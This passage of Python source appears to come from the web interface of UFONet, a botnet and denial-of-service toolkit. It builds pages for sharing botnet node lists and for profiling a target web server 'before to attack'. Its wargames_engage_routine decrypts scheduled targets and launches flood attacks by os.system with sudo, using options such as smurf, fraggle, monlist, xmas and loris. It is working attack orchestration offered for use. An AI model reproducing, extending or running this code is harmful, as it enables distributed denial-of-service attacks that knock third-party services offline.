</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2026
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2027
<br><center>
2028
<hr><br>
2029
<div id="gamecontainer">
2030
<canvas id="gameCanvas"></canvas>
2031
</div>
2032
<div id="info">
2033
<p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
2034
more bombs as you complete each level!</p>
2035
</div></script><script src="js/spaceinvaders.js"></script><script>
2036
var canvas = document.getElementById("gameCanvas");
2037
canvas.width = 800;
2038
canvas.height = 600;
2039
var game = new Game();
2040
game.initialise(canvas);
2041
game.start();
2042
window.addEventListener("keydown", function keydown(e) {
2043
var keycode = e.which || window.event.keycode;
2044
// Supress further processing of left/right/space (37/29/32)
2045
if(keycode == 37 || keycode == 39 || keycode == 32) {
2046
e.preventDefault();
2047
}
2048
game.keyDown(keycode);
2049
});
2050
window.addEventListener("keyup", function keydown(e) {
2051
var keycode = e.which || window.event.keycode;
2052
game.keyUp(keycode);
2053
});
2054
window.addEventListener("touchstart", function (e) {
2055
game.touchstart(e);
2056
}, false);
2057
window.addEventListener('touchend', function(e){
2058
game.touchend(e);
2059
}, false);
2060
window.addEventListener('touchmove', function(e){
2061
game.touchmove(e);
2062
}, false);
2063
function toggleMute() {
2064
game.mute();
2065
document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
2066
}
2067
</script><br><br>"""+ self.pages["/footer"]
2068
2069
def html_browser(self):
2070
browser_table = self.generate_browser()
2071
return self.pages["/header"] + """<script language="javascript">
2072
function Ranking() {
2073
var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2074
}
2075
function Grid() {
2076
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2077
}
2078
function Board() {
2079
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2080
}
2081
function Links() {
2082
var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2083
}
2084
function Streams() {
2085
var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2086
}
2087
</script>
2088
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2089
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2090
<br>
2091
<center>
2092
<table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
2093
<td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
2094
<td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
2095
</tr></table>
2096
<hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
2097
2098
def html_globalnet(self):
2099
l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
2100
globalnet_table = self.generate_globalnet()
2101
return self.pages["/header"] + """<script language="javascript">
2102
function Ranking() {
2103
var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2104
}
2105
function Grid() {
2106
var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2107
}
2108
function Board() {
2109
var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2110
}
2111
function Warps() {
2112
var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2113
}
2114
function SyncGlobalnet(){
2115
globalnet_source=document.getElementById("globalnet_source").value
2116
if(globalnet_source == "") {
2117
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
2118
return
2119
}else{
2120
params="globalnet_source="+escape(globalnet_source)
2121
runCommandX("cmd_sync_globalnet",params)
2122
setTimeout("location.reload()", 10000)
2123
}
2124
}
2125
function Decrypt_globalnet(){
2126
globalnet_deckey=document.getElementById("globalnet_deckey").value
2127
if(globalnet_deckey == "") {
2128
window.alert("You need to enter a valid key (provided by someone)");
2129
return
2130
}else{
2131
params="globalnet_deckey="+escape(globalnet_deckey)
2132
runCommandX("cmd_decrypt_globalnet",params)
2133
panel_enc = document.getElementById("globalnet_panel_enc").style.display
2134
if(panel_enc == "block"){
2135
panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
2136
}
2137
}
2138
}
2139
function GlobalnetFilter(filter, key) {
2140
params="filter="+escape(filter)+"&key="+escape(key)
2141
runCommandX("cmd_globalnet_filter", params)
2142
setTimeout("Decrypt_globalnet()", 2000)
2143
}
2144
function Send() {
2145
globalnet_source2=document.getElementById("globalnet_source2").value
2146
globalnet_enckey=document.getElementById("globalnet_enckey").value
2147
globalnet_owner=document.getElementById("globalnet_owner").value
2148
globalnet_comment=document.getElementById("globalnet_comment").value
2149
globalnet_warp=document.getElementById("globalnet_warp").value
2150
if(globalnet_source2 == "") {
2151
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
2152
return
2153
}else{
2154
if(globalnet_enckey == "") {
2155
window.alert("You need to enter a valid key (provided by someone)");
2156
return
2157
}else{
2158
params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
2159
runCommandX("cmd_transfer_globalnet",params)
2160
setTimeout("location.reload()", 10000)
2161
}
2162
}
2163
}
2164
</script>
2165
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2166
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2167
<br>
2168
<center>
2169
<table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
2170
<td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
2171
<td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td></tr></table>
2172
<hr><br>
2173
<center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
2174
<td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
2175
<option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
2176
<option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
2177
<option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
2178
</select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
2179
2180
def html_abduction(self):
2181
return self.pages["/header"] + """<script language="javascript">
2182
function Requests() {
2183
var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
2184
}
2185
function Start(){
2186
target=document.getElementById("target").value
2187
String.prototype.startsWith = function(prefix){
2188
return this.indexOf(prefix) === 0;
2189
}
2190
if(target.startsWith("http")){
2191
params="target="+escape(target)
2192
}else{
2193
window.alert("Target url not valid! -> It should starts with 'http(s)://'");
2194
return
2195
}
2196
runCommandX("cmd_abduction",params)
2197
}
2198
</script></head>
2199
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2200
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2201
<br>
2202
<center>
2203
<table cellpadding="38" cellspacing="38">
2204
<tr>
2205
<td>
2206
</td>
2207
<td>
2208
<table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
2209
<tr>
2210
<td>
2211
<pre>
2212
This feature will provide you information about target's web server.
2213
You can use this before to attack to be more effective.
2214
2215
<button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
2216
2217
<hr>
2218
Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
2219
2220
<hr>
2221
<button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
2222
</pre>
2223
</td></tr></table>
2224
<br><br><hr><br>
2225
<div id="cmdOut"></div><center>""" + self.pages["/footer"]
2226
2227
def html_blackholes(self):
2228
return self.pages["/header"] + """<script language="javascript">
2229
function Decrypt(){
2230
blackhole_key=document.getElementById("blackhole_key").value
2231
if(blackhole_key == "") {
2232
window.alert("You need to enter a valid key (provided by someone)");
2233
return
2234
}else{
2235
params="blackhole_key="+escape(blackhole_key)
2236
runCommandX("cmd_decrypt",params)
2237
document.getElementById("nb1").style.display = "none";
2238
}
2239
}
2240
</script>
2241
<script language="javascript">
2242
function RefreshBlackhole(){
2243
blackholes_source=document.getElementById("blackholes_source").value
2244
if(blackholes_source == "") {
2245
window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
2246
return
2247
}else{
2248
params="blackholes_source="+escape(blackholes_source)
2249
runCommandX("cmd_refresh_blackholes",params)
2250
document.getElementById("nb1").style.display = "none";
2251
setTimeout("location.reload()", 10000)
2252
}
2253
}
2254
</script>
2255
<script language="javascript">
2256
function Download_Botnet_IP(single_ip_num){
2257
var a = "down_ip_";
2258
var b = single_ip_num;
2259
var c = a.concat(b);
2260
blackhole=document.getElementById(c).value
2261
params="blackhole="+escape(blackhole)
2262
runCommandX("cmd_download_botnet_ip",params)
2263
}
2264
</script>
2265
<script language="javascript">
2266
function Upload_Botnet_IP(single_ip_num){
2267
var a = "up_ip_";
2268
var b = single_ip_num;
2269
var c = a.concat(b);
2270
blackhole=document.getElementById(c).value
2271
params="blackhole="+escape(blackhole)
2272
runCommandX("cmd_upload_botnet_ip",params)
2273
}
2274
</script>
2275
</head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
2276
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
2277
<br>
2278
<center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
2279
<td>Blackhole/IP:</td>
2280
<td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
2281
</tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
2282
<hr>
2283
<table cellpadding="5" cellspacing="5"><tr>
2284
<td><a href="javascript:alert('DhĂŻkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
2285
<table cellpading="5" cellspacing="10"><tr><td>
2286
<form method='GET'>
2287
Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
2288
</td></tr><tr><td>
2289
<a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
2290
</form>
2291
</td></tr></table></td></tr></table>
2292
<hr><br>
2293
</center>
2294
Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
2295
<div id="cmdOut"></div>
2296
<div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
2297
""" + self.pages["/footer"]
2298
2299
def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
2300
sep = wargames_msg_sep
2301
flag_ufosyn = None
2302
flag_spray = None
2303
flag_smurf = None
2304
flag_xmas = None
2305
flag_nuke = None
2306
flag_tachyon = None
2307
flag_monlist = None
2308
flag_fraggle = None
2309
flag_sniper = None
2310
flag_ufoack = None
2311
flag_uforst = None
2312
flag_droper = None
2313
flag_overlap = None
2314
flag_pinger = None
2315
flag_ufoudp = None
2316
for job in wargames_engage_list:
2317
job_t2 = job.rsplit(sep, 1)[0]
2318
job_creation = job_t2.rsplit(sep, 1)[0]
2319
job_target = job_t2.rsplit(sep, 1)[1]
2320
job_estimated = job.rsplit(sep, 1)[1]
2321
self.decrypt(self.crypto_key, job_estimated)
2322
if self.decryptedtext:
2323
job_estimated_dec = self.decryptedtext
2324
else:
2325
job_estimated_dec = ""
2326
self.decryptedtext = ""
2327
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
2328
now = strptime(now, "%d-%m-%Y %H:%M:%S")
2329
try:
2330
job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
2331
except:
2332
job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
2333
if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
2334
self.decrypt(self.crypto_key, job_target)
2335
if self.decryptedtext:
2336
job_target_dec = self.decryptedtext
2337
else:
2338
job_target_dec = ""
2339
self.decryptedtext = ""
2340
if job_target_dec != "":
2341
job_target_dec = "http://" + job_target_dec # set target prefix to http://
2342
try: # read global army supply (json)
2343
with open(self.mothership_supplycfg_file) as data_file:
2344
data = json.load(data_file)
2345
except:
2346
print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
2347
with open(self.mothership_supplycfg_file, "w") as f:
2348
json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
2349
with open(self.mothership_supplycfg_file) as data_file:
2350
data = json.load(data_file)
2351
self.supply_botnet = data["botnet"]
2352
self.supply_loic = data["loic"]
2353
self.supply_loris = data["loris"]
2354
self.supply_ufosyn = data["ufosyn"]
2355
self.supply_spray = data["spray"]
2356
self.supply_smurf = data["smurf"]
2357
self.supply_xmas = data["xmas"]
2358
self.supply_nuke = data["nuke"]
2359
self.supply_tachyon = data["tachyon"]
2360
self.supply_monlist = data["monlist"]
2361
self.supply_fraggle = data["fraggle"]
2362
self.supply_sniper = data["sniper"]
2363
self.supply_ufoack = data["ufoack"]
2364
self.supply_uforst = data["uforst"]
2365
self.supply_droper = data["droper"]
2366
self.supply_overlap = data["overlap"]
2367
self.supply_pinger = data["pinger"]
2368
self.supply_ufoudp = data["ufoudp"]
2369
job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
2370
print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
2371
cmd = ""
2372
nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
2373
root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
2374
if int(self.supply_fraggle) > 0:
2375
cmd += "--fraggle " +str(self.supply_fraggle)+ " "
2376
flag_fraggle = True
2377
if int(self.supply_sniper) > 0:
2378
cmd += "--sniper " +str(self.supply_sniper)+ " "
2379
flag_sniper = True
2380
if int(self.supply_ufoack) > 0:
2381
cmd += "--ufoack " +str(self.supply_ufoack)+ " "
2382
flag_ufoack = True
2383
if int(self.supply_uforst) > 0:
2384
cmd += "--uforst " +str(self.supply_uforst)+ " "
2385
flag_uforst = True
2386
if int(self.supply_droper) > 0:
2387
cmd += "--droper " +str(self.supply_droper)+ " "
2388
flag_droper = True
2389
if int(self.supply_overlap) > 0:
2390
cmd += "--overlap " +str(self.supply_overlap)+ " "
2391
flag_overlap = True
2392
if int(self.supply_pinger) > 0:
2393
cmd += "--pinger " +str(self.supply_pinger)+ " "
2394
flag_pinger = True
2395
if int(self.supply_ufoudp) > 0:
2396
cmd += "--ufoudp " +str(self.supply_ufoudp)+ " "
2397
flag_ufoudp = True
2398
if int(self.supply_monlist) > 0:
2399
cmd += "--monlist " +str(self.supply_monlist)+ " "
2400
flag_monlist = True
2401
if int(self.supply_tachyon) > 0:
2402
cmd += "--tachyon " +str(self.supply_tachyon)+ " "
2403
flag_tachyon = True
2404
if int(self.supply_nuke) > 0:
2405
cmd += "--nuke " +str(self.supply_nuke)+ " "
2406
flag_nuke = True
2407
if int(self.supply_xmas) > 0:
2408
cmd += "--xmas " +str(self.supply_xmas)+ " "
2409
flag_xmas = True
2410
if int(self.supply_smurf) > 0:
2411
cmd += "--smurf " +str(self.supply_smurf)+ " "
2412
flag_smurf = True
2413
if int(self.supply_spray) > 0:
2414
cmd += "--spray " +str(self.supply_spray)+ " "
2415
flag_spray = True
2416
if int(self.supply_ufosyn) > 0:
2417
cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
2418
flag_ufosyn = True
2419
if int(self.supply_loris) > 0:
2420
cmd += "--loris " +str(self.supply_loris)+ " "
2421
if int(self.supply_loic) > 0:
2422
cmd += "--loic " +str(self.supply_loic)+ " "
2423
if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
2424
cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
2425
if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
2426
cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
2427
runcmd = cmd + " "
2428
runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
2429
print("[Info] [Wargames] Running command:", runcmd, "\n")
2430
os.system(runcmd) # launch it!
2431
if "!!!" in job: # remove it from queue (unjob)
2432
f = open(self.wargames_file, "r")
2433
ls = f.readlines()
2434
f.close()
2435
f = open(self.wargames_file, "w")
2436
for l in ls:
2437
if str(l) != str(job):
2438
f.write(l)
2439
else:
2440
job = re.sub('[!!!]', '', job)
2441
f.write(job)
2442
f.close()
2443
2444
def extract_ranking_table(self):
2445
f = open(self.grid_file,"r") # ranking data extracted from grid.txt
2446
ls = f.readlines()
2447
f.close()
2448
if not ls: # not data on grid.txt
2449
return
2450
ranking_items={}
2451
ranking_key = crypto_key
2452
nodec_text = "Anonymous"
2453
nodec_num = 0
2454
self.ranking_grid_total = 0
2455
try:
2456
for j in ls:
2457
if grid_msg_sep in j:
2458
self.ranking_grid_total = self.ranking_grid_total + 1
2459
m = j.split(grid_msg_sep)
2460
ranking_nickname = m[0] # nickname
2461
self.decrypt(ranking_key, ranking_nickname)
2462
if self.decryptedtext:
2463
ranking_nickname = str(self.decryptedtext)
2464
else:
2465
ranking_nickname = nodec_text
2466
if ranking_nickname == "Anonymous":
2467
ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
2468
self.decryptedtext = "" # clean decryptedtext buffer
2469
ranking_ranking = m[1] # ranking
2470
self.decrypt(ranking_key, ranking_ranking)
2471
if self.decryptedtext:
2472
try:
2473
ranking_ranking = int(self.decryptedtext)
2474
except:
2475
ranking_ranking = nodec_num
2476
else:
2477
ranking_ranking = nodec_num
2478
ranking_items[ranking_nickname] = ranking_ranking
2479
except:
2480
ranking_nickname = "Anonymous"
2481
ranking_ranking = 0
2482
ranking_items[ranking_nickname] = ranking_ranking
2483
self.top_rookie = []
2484
self.top_mercenary = []
2485
self.top_bandit = []
2486
self.top_ufommander = []
2487
self.top_ufoleet = []
2488
for k, v in ranking_items.items():
2489
if v == 0: # not any data (or decryption allowed) on grid so discard
2490
pass
2491
if v == 1: # add this player as a rookie
2492
self.ranking_grid_rookie = self.ranking_grid_rookie + 1
2493
self.top_rookie.append(k)
2494
elif v == 2: # add this player as a mercenary
2495
self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
2496
self.top_mercenary.append(k)
2497
elif v == 3: # add this player as a bandit
2498
self.ranking_grid_bandit = self.ranking_grid_bandit + 1
2499
self.top_bandit.append(k)
2500
elif v == 4: # add this player as a ufommander
2501
self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
2502
self.top_ufommander.append(k)
2503
elif v == 5: # add this player as a ufoleet
2504
self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
2505
self.top_ufoleet.append(k)
2506
else: # add this player as unknown
2507
self.ranking_grid_unknown = self.ranking_grid_unknown + 1
2508
top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
2509
for p in top5: # extract best players
2510
if self.ranking_top5_player1 == "Anonymous":
2511
self.ranking_top5_player1 = p
2512
elif self.ranking_top5_player2 == "Anonymous":
2513
self.ranking_top5_player2 = p
2514
elif self.ranking_top5_player3 == "Anonymous":
2515
self.ranking_top5_player3 = p
2516
elif self.ranking_top5_player4 == "Anonymous":
2517
self.ranking_top5_player4 = p
2518
elif self.ranking_top5_player5 == "Anonymous":
2519
self.ranking_top5_player5 = p
2520
if self.ranking == "Rookie":
2521
shuffle(self.top_rookie) # shuffle for different results
2522
top3 = self.top_rookie[:3]
2523
elif self.ranking == "Mercenary":
2524
shuffle(self.top_mercenary)
2525
top3 = self.top_mercenary[:3]
2526
elif self.ranking == "Bandit":
2527
shuffle(self.top_bandit)
2528
top3 = self.top_bandit[:3]
2529
elif self.ranking == "UFOmmander!":
2530
shuffle(self.top_ufommander)
2531
top3 = self.top_ufommander[:3]
2532
elif self.ranking == "UFOl33t!":
2533
shuffle(self.top_ufoleet)
2534
top3 = self.top_ufoleet[:3]
2535
for p in top3: # extract similar player
2536
if self.ranking_similar_player1 == "Anonymous":
2537
self.ranking_similar_player1 = p
2538
elif self.ranking_similar_player2 == "Anonymous":
2539
self.ranking_similar_player2 = p
2540
elif self.ranking_similar_player3 == "Anonymous":
2541
self.ranking_similar_player3 = p
2542
top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
2543
shuffle(top1) # shuffle for different results
2544
top1 = random.choice(top1).strip() # extract random player
2545
self.ranking_top1_player1 = top1
2546
2547
def __init__(self):
2548
self.crypto_key = crypto_key # set default symmetric crypto key
2549
self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
2550
self.board_file = 'data/board.txt' # set source path to retrieve board warning message
2551
self.grid_file = 'data/grid.txt' # set source path to retrieve grid
2552
self.board_warning = "" # set initial (str) board warning message
2553
self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
2554
self.links_file = 'data/links.txt' # set source path to retrieve links
2555
self.streams_file = 'data/streams.txt' # set source path to retrieve streams
2556
self.games_file = 'data/games.txt' # set source path to retrieve games
2557
self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
2558
self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
2559
self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
2560
self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
2561
self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
2562
self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
2563
self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
2564
self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns'
2565
self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps'
2566
self.release_date_file = "docs/release.date" # set source path to retrieve release date
2567
self.news = "data/news.txt" # set source path to retrieve server news
2568
self.tv = "data/tv.txt" # set source path to retrieve server tv
2569
self.missions = "data/missions.txt" # set source path to retrieve server missions
2570
self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
2571
self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
2572
self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
2573
self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
2574
self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
2575
self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
2576
f = open(self.mothership_model_file) # extract mothership model
2577
self.mothership_model = f.read()
2578
f.close()
2579
self.faq_file = 'docs/FAQ.html' # set source for FAQ
2580
f = open(self.faq_file) # extract FAQ text
2581
self.faq_text = f.read()
2582
f.close()
2583
self.author_file = 'docs/AUTHOR' # set source for AUTHOR
2584
f = open(self.author_file) # extract AUTHOR text
2585
self.author_text = f.read()
2586
f.close()
2587
self.shop_file = 'docs/SHOP' # set source for SHOP
2588
f = open(self.shop_file) # extract SHOP text
2589
self.shop_text = f.read()
2590
f.close()
2591
self.ranking = "Rookie Star" # set starting rank
2592
self.decryptedtext = "" # set buffer for decryption
2593
self.encryptedtext = "" # set buffer for encryption
2594
self.blackholes = "data/nodes.txt" # set source path to retrieve server [Community] blackholes (nodes)
2595
self.blackhole = default_blackhole # set default blackhole
2596
self.blackholes_status = "Not connected!" # set default status for blackholes
2597
self.blackholes_status_color = "red" # set default status color for blackholes
2598
self.referer = 'http://127.0.0.1/'
2599
self.mothershipname = "core/txt/shipname.txt"
2600
self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
2601
self.mothership_img = open("core/images/mothership.txt").read()
2602
self.commander_img = open("core/images/commander.txt").read()
2603
self.board_img = open("core/images/board.txt").read()
2604
self.aliens_img = open("core/images/aliens.txt").read()
2605
self.alien1_img = open("core/images/aliens/alien1.txt").read()
2606
self.alien2_img = open("core/images/aliens/alien2.txt").read()
2607
self.alien3_img = open("core/images/aliens/alien3.txt").read()
2608
self.alien4_img = open("core/images/aliens/alien4.txt").read()
2609
self.alien5_img = open("core/images/aliens/alien5.txt").read()
2610
self.alien6_img = open("core/images/aliens/alien6.txt").read()
2611
self.alien7_img = open("core/images/aliens/alien7.txt").read()
2612
self.alien8_img = open("core/images/aliens/alien8.txt").read()
2613
self.alien9_img = open("core/images/aliens/alien9.txt").read()
2614
self.alien10_img = open("core/images/aliens/alien10.txt").read()
2615
self.alien11_img = open("core/images/aliens/alien11.txt").read()
2616
self.alien12_img = open("core/images/aliens/alien12.txt").read()
2617
self.alien13_img = open("core/images/aliens/alien13.txt").read()
2618
